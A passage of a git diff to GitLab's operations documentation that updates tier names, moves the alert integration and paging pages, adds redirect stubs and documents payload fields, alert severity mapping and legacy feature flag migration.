[Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.5. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to GitLab Free in 13.5. With Feature Flags, you can deploy your application's new features to production in smaller batches. You can toggle a feature on and off to subsets of users, helping you achieve Continuous Delivery. @@ -61,14 +60,13 @@ next to any feature flag in the list. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/254379) in GitLab 13.5. The maximum number of feature flags per project on self-managed GitLab instances -is 200. On GitLab.com, the maximum number is determined by [GitLab.com tier](https://about.gitlab.com/pricing/): +is 200. For GitLab SaaS, the maximum number is determined by [tier](https://about.gitlab.com/pricing/): | Tier | Number of feature flags per project | |----------|-------------------------------------| | Free | 50 | -| Bronze | 100 | -| Silver | 150 | -| Gold | 200 | +| Premium | 150 | +| Ultimate | 200 | ## Feature flag strategies @@ -238,6 +236,18 @@ It can be set to: of specific users IDs to enable the feature for. - [User IDs](#user-ids) +## Legacy feature flag migration + +Legacy feature flags became read-only in GitLab 13.4. GitLab 14.0 removes support for legacy feature +flags. You must migrate your legacy feature flags to the new version. To do so, follow these steps: + +1. Take a screenshot of the legacy flag for tracking. +1. Delete the flag through the API or UI (you don't need to alter the code). +1. Create a new feature flag with the same name as the legacy flag you deleted. Make sure the + strategies and environments match the deleted flag. + +See [this video tutorial](https://www.youtube.com/watch?v=CAJY2IGep7Y) for help with this migration. + ## Disable a feature flag for a specific environment In [GitLab 13.0 and earlier](https://gitlab.com/gitlab-org/gitlab/-/issues/8621), diff --git a/doc/operations/incident_management/alert_details.md b/doc/operations/incident_management/alert_details.md deleted file mode 100644 index cd73e9e7e1f..00000000000 --- a/doc/operations/incident_management/alert_details.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: alerts.md ---- - -This document was moved to [another location](alerts.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/operations/incident_management/alert_integrations.md b/doc/operations/incident_management/alert_integrations.md index 0f695e7a6c9..bec0653d464 100644 --- a/doc/operations/incident_management/alert_integrations.md +++ b/doc/operations/incident_management/alert_integrations.md @@ -1,199 +1,8 @@ --- -stage: Monitor -group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: 'integrations.md' --- -# Alert integrations +This document was moved to [another location](integrations.md). -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13203) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.4. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/42640) to [GitLab Core](https://about.gitlab.com/pricing/) in 12.8. - -GitLab can accept alerts from any source via a webhook receiver. This can be configured -generically or, in GitLab versions 13.1 and greater, you can configure -[External Prometheus instances](../metrics/alerts.md#external-prometheus-instances) -to use this endpoint. - -## Integrations list - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/245331) in [GitLab Core](https://about.gitlab.com/pricing/) 13.5. - -With Maintainer or higher [permissions](../../user/permissions.md), you can view -the list of configured alerts integrations by navigating to -**Settings > Operations** in your project's sidebar menu, and expanding **Alerts** section. -The list displays the integration name, type, and status (enabled or disabled): - - - -## Configuration - -GitLab can receive alerts via a HTTP endpoint that you configure, -or the [Prometheus integration](#external-prometheus-integration). - -### Single HTTP Endpoint **CORE** - -Enabling the HTTP Endpoint in a GitLab projects activates it to -receive alert payloads in JSON format. You can always -[customize the payload](#customize-the-alert-payload-outside-of-gitlab) to your liking. - -1. Sign in to GitLab as a user with maintainer [permissions](../../user/permissions.md) - for a project. -1. Navigate to **Settings > Operations** in your project. -1. Expand the **Alerts** section, and in the **Integration** dropdown menu, select **Generic**. -1. Toggle the **Active** alert setting to display the **URL** and **Authorization Key** - for the webhook configuration. - -### HTTP Endpoints **PREMIUM** - -> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4442) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.6. - -In [GitLab Premium](https://about.gitlab.com/pricing/), you can create multiple -unique HTTP endpoints to receive alerts from any external source in JSON format, -and you can [customize the payload](#customize-the-alert-payload-outside-of-gitlab). - -1. Sign in to GitLab as a user with maintainer [permissions](../../user/permissions.md) - for a project. -1. Navigate to **Settings > Operations** in your project. -1. Expand the **Alerts** section. -1. For each endpoint you want to create: - - 1. In the **Integration** dropdown menu, select **HTTP Endpoint**. - 1. Name the integration. - 1. Toggle the **Active** alert setting to display the **URL** and **Authorization Key** - for the webhook configuration. You must also input the URL and Authorization Key - in your external service. - 1. _(Optional)_ To generate a test alert to test the new integration, enter a - sample payload, then click **Save and test alert payload**. Valid JSON is required. - 1. Click **Save Integration**. - -The new HTTP Endpoint displays in the [integrations list](#integrations-list). -You can edit the integration by selecting the **{pencil}** pencil icon on the right -side of the integrations list. - -### External Prometheus integration - -For GitLab versions 13.1 and greater, please read -[External Prometheus Instances](../metrics/alerts.md#external-prometheus-instances) -to configure alerts for this integration. - -## Customize the alert payload outside of GitLab - -For all integration types, you can customize the payload by sending the following -parameters. All fields are optional. If the incoming alert does not contain a value for the `Title` field, a default value of `New: Incident` will be applied. - -| Property | Type | Description | -| ------------------------- | --------------- | ----------- | -| `title` | String | The title of the incident. | -| `description` | String | A high-level summary of the problem. | -| `start_time` | DateTime | The time of the incident. If none is provided, a timestamp of the issue is used. | -| `end_time` | DateTime | For existing alerts only. When provided, the alert is resolved and the associated incident is closed. | -| `service` | String | The affected service. | -| `monitoring_tool` | String | The name of the associated monitoring tool. | -| `hosts` | String or Array | One or more hosts, as to where this incident occurred. | -| `severity` | String | The severity of the alert. Must be one of `critical`, `high`, `medium`, `low`, `info`, `unknown`. Default is `critical`. | -| `fingerprint` | String or Array | The unique identifier of the alert. This can be used to group occurrences of the same alert. | -| `gitlab_environment_name` | String | The name of the associated GitLab [environment](../../ci/environments/index.md). This can be used to associate your alert to your environment. | - -You can also add custom fields to the alert's payload. The values of extra -parameters aren't limited to primitive types (such as strings or numbers), but -can be a nested JSON object. For example: - -```json -{ "foo": { "bar": { "baz": 42 } } } -``` - -NOTE: -Ensure your requests are smaller than the -[payload application limits](../../administration/instance_limits.md#generic-alert-json-payloads). - -Example request: - -```shell -curl --request POST \ - --data '{"title": "Incident title"}' \ - --header "Authorization: Bearer <authorization_key>" \ - --header "Content-Type: application/json" \ - <url> -``` - -The `<authorization_key>` and `<url>` values can be found when configuring an alert integration. - -Example payload: - -```json -{ - "title": "Incident title", - "description": "Short description of the incident", - "start_time": "2019-09-12T06:00:55Z", - "service": "service affected", - "monitoring_tool": "value", - "hosts": "value", - "severity": "high", - "fingerprint": "d19381d4e8ebca87b55cda6e8eee7385", - "foo": { - "bar": { - "baz": 42 - } - } -} -``` - -## Triggering test alerts - -> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3066) in GitLab Core in 13.2. - -After a [project maintainer or owner](../../user/permissions.md) -configures an integration, you can trigger a test -alert to confirm your integration works properly. - -1. Sign in as a user with Developer or greater [permissions](../../user/permissions.md). -1. Navigate to **Settings > Operations** in your project. -1. Click **Alerts endpoint** to expand the section. -1. Enter a sample payload in **Alert test payload** (valid JSON is required). -1. Click **Test alert payload**. - -GitLab displays an error or success message, depending on the outcome of your test. - -## Automatic grouping of identical alerts **(PREMIUM)** - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214557) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2. - -In GitLab versions 13.2 and greater, GitLab groups alerts based on their -payload. When an incoming alert contains the same payload as another alert -(excluding the `start_time` and `hosts` attributes), GitLab groups these alerts -together and displays a counter on the [Alert Management List](incidents.md) -and details pages. - -If the existing alert is already `resolved`, GitLab creates a new alert instead. - - - -## Link to your Opsgenie Alerts - -> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3066) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2. - -WARNING: -We are building deeper integration with Opsgenie and other alerting tools through -[HTTP endpoint integrations](#single-http-endpoint) so you can see alerts in -the GitLab interface. As a result, the previous direct link to Opsgenie Alerts from -the GitLab alerts list is deprecated in -GitLab versions [13.8 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/273657). - -You can monitor alerts using a GitLab integration with [Opsgenie](https://www.atlassian.com/software/opsgenie). - -If you enable the Opsgenie integration, you can't have other GitLab alert -services -active at the same time. - -To enable Opsgenie integration: - -1. Sign in as a user with Maintainer or Owner [permissions](../../user/permissions.md). -1. Navigate to **Operations > Alerts**. -1. In the **Integrations** select box, select **Opsgenie**. -1. Select the **Active** toggle. -1. In the **API URL** field, enter the base URL for your Opsgenie integration, - such as `https://app.opsgenie.com/alert/list`. -1. Select **Save changes**. - -After you enable the integration, navigate to the Alerts list page at -**Operations > Alerts**, and then select **View alerts in Opsgenie**. +<!-- This redirect file can be deleted after <2021-05-03>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/operations/incident_management/alert_notifications.md b/doc/operations/incident_management/alert_notifications.md index eaf606105d6..4f46c2bec71 100644 --- a/doc/operations/incident_management/alert_notifications.md +++ b/doc/operations/incident_management/alert_notifications.md @@ -1,36 +1,8 @@ --- -stage: Monitor -group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: 'paging.md' --- -# Paging and notifications +This document was moved to [another location](paging.md). -When there is a new alert or incident, it is important for a responder to be notified -immediately so they can triage and respond to the problem. Responders can receive -notifications using the methods described on this page. - -## Slack notifications - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216326) in GitLab 13.1. - -Responders can be paged via Slack using the -[Slack Notifications Service](../../user/project/integrations/slack.md), which you -can configure for new alerts and new incidents. After configuring, responders -receive a **single** page via Slack. To set up Slack notifications on your mobile -device, make sure to enable notifications for the Slack app on your phone so -you never miss a page. - -## Email notifications - -Email notifications are available in projects that have been -[configured to create incidents automatically](incidents.md#create-incidents-automatically) -for triggered alerts. Project members with the **Owner** or **Maintainer** roles are -sent an email notification automatically. (This is not configurable.) To optionally -send additional email notifications to project members with the **Developer** role: - -1. Navigate to **Settings > Operations**. -1. Expand the **Incidents** section. -1. In the **Alert Integration** tab, select the **Send a separate email notification to Developers** - check box. -1. Select **Save changes**. +<!-- This redirect file can be deleted after 2021-04-21 --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/operations/incident_management/alerts.md b/doc/operations/incident_management/alerts.md index a8852a02f2b..3c60c737309 100644 --- a/doc/operations/incident_management/alerts.md +++ b/doc/operations/incident_management/alerts.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Alerts +# Alerts **(FREE)** Alerts are a critical entity in your incident management workflow. They represent a notable event that might indicate a service outage or disruption. GitLab provides a list view for triage and detail view for deeper investigation of what happened. @@ -102,8 +102,9 @@ To view the metrics for an alert: #### View an alert's logs -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/201846) in GitLab Ultimate 12.8. and [improved](https://gitlab.com/gitlab-org/gitlab/-/issues/217768) in GitLab 13.3. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25455) to [GitLab Core](https://about.gitlab.com/pricing/) 12.9. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/201846) in GitLab Ultimate 12.8. +> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/217768) in GitLab 13.3. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25455) to GitLab Free 12.9. Viewing logs from a metrics panel can be useful if you're triaging an application incident and need to [explore logs](../metrics/dashboards/index.md#chart-context-menu) @@ -196,9 +197,9 @@ add a to-do item: 1. To display the list of current alerts, navigate to **Operations > Alerts**. 1. Select your desired alert to display its **Alert Management Details View**. -1. Select the **Add a To-Do** button in the right sidebar: +1. Select the **Add a to do** button in the right sidebar: -  +  Select the **To-Do List** **{todo-done}** in the navigation bar to view your current to-do list. diff --git a/doc/operations/incident_management/generic_alerts.md b/doc/operations/incident_management/generic_alerts.md deleted file mode 100644 index 44b1f4b088a..00000000000 --- a/doc/operations/incident_management/generic_alerts.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: alert_integrations.md ---- - -This document was moved to [another location](alert_integrations.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/operations/incident_management/img/alert_detail_add_todo_v13_1.png b/doc/operations/incident_management/img/alert_detail_add_todo_v13_1.png Binary files differdeleted file mode 100644 index 39aa9e33728..00000000000 --- a/doc/operations/incident_management/img/alert_detail_add_todo_v13_1.png +++ /dev/null diff --git a/doc/operations/incident_management/img/alert_detail_add_todo_v13_9.png b/doc/operations/incident_management/img/alert_detail_add_todo_v13_9.png Binary files differnew file mode 100644 index 00000000000..5beb1cd0bfb --- /dev/null +++ b/doc/operations/incident_management/img/alert_detail_add_todo_v13_9.png diff --git a/doc/operations/incident_management/incidents.md b/doc/operations/incident_management/incidents.md index 3f6522b3f90..f0bb9a8e950 100644 --- a/doc/operations/incident_management/incidents.md +++ b/doc/operations/incident_management/incidents.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Incidents +# Incidents **(FREE)** Incidents are critical entities in incident management workflows. They represent a service disruption or outage that needs to be restored urgently. GitLab provides @@ -24,7 +24,7 @@ Incident, you have two options to do this manually. **From the Incidents List:** -> [Moved](https://gitlab.com/gitlab-org/monitor/health/-/issues/24) to GitLab core in 13.3. +> [Moved](https://gitlab.com/gitlab-org/monitor/health/-/issues/24) to GitLab Free in 13.3. - Navigate to **Operations > Incidents** and click **Create Incident**. - Create a new issue using the `incident` template available when creating it. @@ -36,9 +36,11 @@ Incident, you have two options to do this manually. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230857) in GitLab 13.4. -- Navigate to **Issues > List** and click **Create Issue**. -- Create a new issue using the `type` drop-down and select `Incident`. -- The page refreshes and the page only displays fields relevant to Incidents. +1. Go to **Issues > List**, and select **New issue**. +1. In the **Type** dropdown, select **Incident**. Only fields relevant to + incidents are displayed on the page. +1. Create the incident as needed, and select **Submit issue** to save the + incident.  @@ -53,7 +55,7 @@ With Maintainer or higher [permissions](../../user/permissions.md), you can enab 1. Check the **Create an incident** checkbox. 1. To customize the incident, select an [issue template](../../user/project/description_templates.md#creating-issue-templates). -1. To send [an email notification](alert_notifications.md#email-notifications) to users +1. To send [an email notification](paging.md#email-notifications) to users with [Developer permissions](../../user/permissions.md), select **Send a separate email notification to Developers**. Email notifications are also sent to users with **Maintainer** and **Owner** permissions. @@ -115,7 +117,7 @@ in your project's sidebar. The list contains the following metrics: to a [Status Page](status_page.md). **(ULTIMATE)** The Incident list displays incidents sorted by incident created date. -([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229534) to GitLab core in 13.3.) +([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229534) to GitLab Free in 13.3.) To see if a column is sortable, point your mouse at the header. Sortable columns display an arrow next to the column name. @@ -185,7 +187,7 @@ field populated.  -### Timeline view +### Timeline view **(PREMIUM)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/227836) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.5. @@ -195,7 +197,7 @@ un-threaded and ordered chronologically, newest to oldest:  -### Service Level Agreement countdown timer +### Service Level Agreement countdown timer **(PREMIUM)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241663) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.5. @@ -225,6 +227,10 @@ There are different actions available to help triage and respond to incidents. Assign incidents to users that are actively responding. Select **Edit** in the right-hand side bar to select or deselect assignees. +### Associate a milestone + +Associate an incident to a milestone by selecting **Edit** next to the milestone feature in the right-hand side bar. + ### Change severity See [Incident List](#incident-list) for a full description of the severity levels available. diff --git a/doc/operations/incident_management/index.md b/doc/operations/incident_management/index.md index b0274537941..6e285300b12 100644 --- a/doc/operations/incident_management/index.md +++ b/doc/operations/incident_management/index.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Incident management +# Incident management **(FREE)** > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2877) in GitLab 13.0. @@ -12,7 +12,7 @@ Incident Management enables developers to easily triage and view the alerts and generated by their application. By surfacing alerts and incidents where the code is being developed, efficiency and awareness can be increased. Check out the following sections for more information: -- [Integrate your monitoring tools](alert_integrations.md). -- Receive [notifications](alert_notifications.md) for triggered alerts. +- [Integrate your monitoring tools](integrations.md). +- Receive [notifications](paging.md) for triggered alerts. - Triage [Alerts](alerts.md) and [Incidents](incidents.md). - Inform stakeholders with [Status Page](status_page.md). diff --git a/doc/operations/incident_management/integrations.md b/doc/operations/incident_management/integrations.md index 8c2159c130b..b3e7d9c544d 100644 --- a/doc/operations/incident_management/integrations.md +++ b/doc/operations/incident_management/integrations.md @@ -4,9 +4,19 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Integrations +# Alert integrations **(FREE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/245331) in [GitLab Core](https://about.gitlab.com/pricing/) 13.5. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13203) in GitLab Ultimate 12.4. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/42640) to GitLab Free in 12.8. + +GitLab can accept alerts from any source via a webhook receiver. This can be configured +generically or, in GitLab versions 13.1 and greater, you can configure +[External Prometheus instances](../metrics/alerts.md#external-prometheus-instances) +to use this endpoint. + +## Integrations list + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/245331) in GitLab Free 13.5. With Maintainer or higher [permissions](../../user/permissions.md), you can view the list of configured alerts integrations by navigating to @@ -14,3 +24,176 @@ the list of configured alerts integrations by navigating to The list displays the integration name, type, and status (enabled or disabled):  + +## Configuration + +GitLab can receive alerts via a HTTP endpoint that you configure, +or the [Prometheus integration](#external-prometheus-integration). + +### Single HTTP Endpoint **(FREE)** + +Enabling the HTTP Endpoint in a GitLab projects activates it to +receive alert payloads in JSON format. You can always +[customize the payload](#customize-the-alert-payload-outside-of-gitlab) to your liking. + +1. Sign in to GitLab as a user with maintainer [permissions](../../user/permissions.md) + for a project. +1. Navigate to **Settings > Operations** in your project. +1. Expand the **Alerts** section, and in the **Integration** dropdown menu, select **Generic**. +1. Toggle the **Active** alert setting to display the **URL** and **Authorization Key** + for the webhook configuration. + +### HTTP Endpoints **(PREMIUM)** + +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4442) in GitLab Premium 13.6. + +In [GitLab Premium](https://about.gitlab.com/pricing/), you can create multiple +unique HTTP endpoints to receive alerts from any external source in JSON format, +and you can [customize the payload](#customize-the-alert-payload-outside-of-gitlab). + +1. Sign in to GitLab as a user with maintainer [permissions](../../user/permissions.md) + for a project. +1. Navigate to **Settings > Operations** in your project. +1. Expand the **Alerts** section. +1. For each endpoint you want to create: + + 1. In the **Integration** dropdown menu, select **HTTP Endpoint**. + 1. Name the integration. + 1. Toggle the **Active** alert setting to display the **URL** and **Authorization Key** + for the webhook configuration. You must also input the URL and Authorization Key + in your external service. + 1. _(Optional)_ To generate a test alert to test the new integration, enter a + sample payload, then click **Save and test alert payload**. Valid JSON is required. + 1. Click **Save Integration**. + +The new HTTP Endpoint displays in the [integrations list](#integrations-list). +You can edit the integration by selecting the **{pencil}** pencil icon on the right +side of the integrations list. + +### External Prometheus integration + +For GitLab versions 13.1 and greater, read +[External Prometheus Instances](../metrics/alerts.md#external-prometheus-instances) +to configure alerts for this integration. + +## Customize the alert payload outside of GitLab + +For all integration types, you can customize the payload by sending the following +parameters. All fields are optional. If the incoming alert does not contain a value for the `Title` field, a default value of `New: Incident` will be applied. + +| Property | Type | Description | +| ------------------------- | --------------- | ----------- | +| `title` | String | The title of the incident. | +| `description` | String | A high-level summary of the problem. | +| `start_time` | DateTime | The time of the incident. If none is provided, a timestamp of the issue is used. | +| `end_time` | DateTime | For existing alerts only. When provided, the alert is resolved and the associated incident is closed. | +| `service` | String | The affected service. | +| `monitoring_tool` | String | The name of the associated monitoring tool. | +| `hosts` | String or Array | One or more hosts, as to where this incident occurred. | +| `severity` | String | The severity of the alert. Case-insensitive. Can be one of: `critical`, `high`, `medium`, `low`, `info`, `unknown`. Defaults to `critical` if missing or value is not in this list. | +| `fingerprint` | String or Array | The unique identifier of the alert. This can be used to group occurrences of the same alert. | +| `gitlab_environment_name` | String | The name of the associated GitLab [environment](../../ci/environments/index.md). Required to [display alerts on a dashboard](../../user/operations_dashboard/index.md#adding-a-project-to-the-dashboard). | + +You can also add custom fields to the alert's payload. The values of extra +parameters aren't limited to primitive types (such as strings or numbers), but +can be a nested JSON object. For example: + +```json +{ "foo": { "bar": { "baz": 42 } } } +``` + +NOTE: +Ensure your requests are smaller than the +[payload application limits](../../administration/instance_limits.md#generic-alert-json-payloads). + +Example request: + +```shell +curl --request POST \ + --data '{"title": "Incident title"}' \ + --header "Authorization: Bearer <authorization_key>" \ + --header "Content-Type: application/json" \ + <url> +``` + +The `<authorization_key>` and `<url>` values can be found when configuring an alert integration. + +Example payload: + +```json +{ + "title": "Incident title", + "description": "Short description of the incident", + "start_time": "2019-09-12T06:00:55Z", + "service": "service affected", + "monitoring_tool": "value", + "hosts": "value", + "severity": "high", + "fingerprint": "d19381d4e8ebca87b55cda6e8eee7385", + "foo": { + "bar": { + "baz": 42 + } + } +} +``` + +## Triggering test alerts + +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3066) in GitLab Free in 13.2. + +After a [project maintainer or owner](../../user/permissions.md) +configures an integration, you can trigger a test +alert to confirm your integration works properly. + +1. Sign in as a user with Developer or greater [permissions](../../user/permissions.md). +1. Navigate to **Settings > Operations** in your project. +1. Click **Alerts endpoint** to expand the section. +1. Enter a sample payload in **Alert test payload** (valid JSON is required). +1. Click **Test alert payload**. + +GitLab displays an error or success message, depending on the outcome of your test. + +## Automatic grouping of identical alerts **(PREMIUM)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214557) in GitLab Premium 13.2. + +In GitLab versions 13.2 and greater, GitLab groups alerts based on their +payload. When an incoming alert contains the same payload as another alert +(excluding the `start_time` and `hosts` attributes), GitLab groups these alerts +together and displays a counter on the [Alert Management List](incidents.md) +and details pages. + +If the existing alert is already `resolved`, GitLab creates a new alert instead. + + + +## Link to your Opsgenie Alerts + +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3066) in GitLab Premium 13.2. + +WARNING: +We are building deeper integration with Opsgenie and other alerting tools through +[HTTP endpoint integrations](#single-http-endpoint) so you can see alerts in +the GitLab interface. As a result, the previous direct link to Opsgenie Alerts from +the GitLab alerts list is deprecated in +GitLab versions [13.8 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/273657). + +You can monitor alerts using a GitLab integration with [Opsgenie](https://www.atlassian.com/software/opsgenie). + +If you enable the Opsgenie integration, you can't have other GitLab alert +services +active at the same time. + +To enable Opsgenie integration: + +1. Sign in as a user with Maintainer or Owner [permissions](../../user/permissions.md). +1. Navigate to **Operations > Alerts**. +1. In the **Integrations** select box, select **Opsgenie**. +1. Select the **Active** toggle. +1. In the **API URL** field, enter the base URL for your Opsgenie integration, + such as `https://app.opsgenie.com/alert/list`. +1. Select **Save changes**. + +After you enable the integration, navigate to the Alerts list page at +**Operations > Alerts**, and then select **View alerts in Opsgenie**. diff --git a/doc/operations/incident_management/paging.md b/doc/operations/incident_management/paging.md new file mode 100644 index 00000000000..dd04cd63a54 --- /dev/null +++ b/doc/operations/incident_management/paging.md @@ -0,0 +1,36 @@ +--- +stage: Monitor +group: Health +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Paging and notifications **(FREE)** + +When there is a new alert or incident, it is important for a responder to be notified +immediately so they can triage and respond to the problem. Responders can receive +notifications using the methods described on this page. + +## Slack notifications + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216326) in GitLab 13.1. + +Responders can be paged via Slack using the +[Slack Notifications Service](../../user/project/integrations/slack.md), which you +can configure for new alerts and new incidents. After configuring, responders +receive a **single** page via Slack. To set up Slack notifications on your mobile +device, make sure to enable notifications for the Slack app on your phone so +you never miss a page. + +## Email notifications + +Email notifications are available in projects that have been +[configured to create incidents automatically](incidents.md#create-incidents-automatically) +for triggered alerts. Project members with the **Owner** or **Maintainer** roles are +sent an email notification automatically. (This is not configurable.) To optionally +send additional email notifications to project members with the **Developer** role: + +1. Navigate to **Settings > Operations**. +1. Expand the **Incidents** section. +1. In the **Alert Integration** tab, select the **Send a separate email notification to Developers** + check box. +1. Select **Save changes**. diff --git a/doc/operations/incident_management/status_page.md b/doc/operations/incident_management/status_page.md index 6514a80a32b..fe0bfa3318b 100644 --- a/doc/operations/incident_management/status_page.md +++ b/doc/operations/incident_management/status_page.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Status Page +# Status Page **(ULTIMATE)** > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2479) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.10. diff --git a/doc/operations/index.md b/doc/operations/index.md index 1d738768531..4427dd66f3d 100644 --- a/doc/operations/index.md +++ b/doc/operations/index.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Project operations **(CORE)** +# Project operations **(FREE)** GitLab provides a variety of tools to help operate and maintain your applications: diff --git a/doc/operations/metrics/alerts.md b/doc/operations/metrics/alerts.md index 36a73d66609..98beb8d6773 100644 --- a/doc/operations/metrics/alerts.md +++ b/doc/operations/metrics/alerts.md @@ -4,9 +4,9 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Set up alerts for Prometheus metrics **(CORE)** +# Set up alerts for Prometheus metrics **(FREE)** -> [Moved from Ultimate to Core](https://gitlab.com/gitlab-org/gitlab/-/issues/42640) in GitLab 12.10. +> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/42640) to GitLab Free in 12.10. After [configuring metrics for your CI/CD environment](index.md), you can set up alerting for Prometheus metrics depending on the location of your instances, and @@ -47,8 +47,8 @@ as soon as the alert fires: ## External Prometheus instances -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9258) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.8. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/42640) to [GitLab Core](https://about.gitlab.com/pricing/) in 12.10. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9258) in GitLab Ultimate 11.8. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/42640) to GitLab Free in 12.10. For manually configured Prometheus servers, GitLab provides a notify endpoint for use with Prometheus webhooks. If you have manual configuration enabled, an @@ -78,9 +78,12 @@ For GitLab to associate your alerts with an [environment](../../ci/environments/ you must configure a `gitlab_environment_name` label on the alerts you set up in Prometheus. The value of this should match the name of your environment in GitLab. +You can display alerts with a `gitlab_environment_name` of `production` +[on a dashboard](../../user/operations_dashboard/index.md#adding-a-project-to-the-dashboard). + In GitLab versions 13.1 and greater, you can configure your manually configured Prometheus server to use the -[Generic alerts integration](../incident_management/alert_integrations.md). +[Generic alerts integration](../incident_management/integrations.md). ## Trigger actions from alerts **(ULTIMATE)** @@ -101,11 +104,20 @@ values extracted from the [`alerts` field in webhook payload](https://prometheus - Issue author: `GitLab Alert Bot` - Issue title: Extracted from the alert payload fields `annotations/title`, `annotations/summary`, or `labels/alertname`. +- Issue description: Extracted from alert payload field `annotations/description`. - Alert `Summary`: A list of properties from the alert's payload. - `starts_at`: Alert start time from the payload's `startsAt` field - `full_query`: Alert query extracted from the payload's `generatorURL` field - Optional list of attached annotations extracted from `annotations/*` - Alert [GFM](../../user/markdown.md): GitLab Flavored Markdown from the payload's `annotations/gitlab_incident_markdown` field. +- Alert Severity (introduced in GitLab version [13.9](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50871): + Extracted from the alert payload field `labels/severity`. Maps case-insensitive + value to [Alert's severity](../incident_management/alerts.md#alert-severity): + - **Critical**: `critical`, `s1`, `p1`, `emergency`, `fatal`, or any value not in this list + - **High**: `high`, `s2`, `p2`, `major`, `page` + - **Medium**: `medium`, `s3`, `p3`, `error`, `alert` + - **Low**: `low`, `s4`, `p4`, `warn`, `warning` + - **Info**: `info`, `s5`, `p5`, `debug`, `information`, `notice` When GitLab receives a **Recovery Alert**, it closes the associated issue. This action is recorded as a system message on the issue indicating that it diff --git a/doc/operations/metrics/dashboards/default.md b/doc/operations/metrics/dashboards/default.md index 5c6187565dd..3c151586f12 100644 --- a/doc/operations/metrics/dashboards/default.md +++ b/doc/operations/metrics/dashboards/default.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see 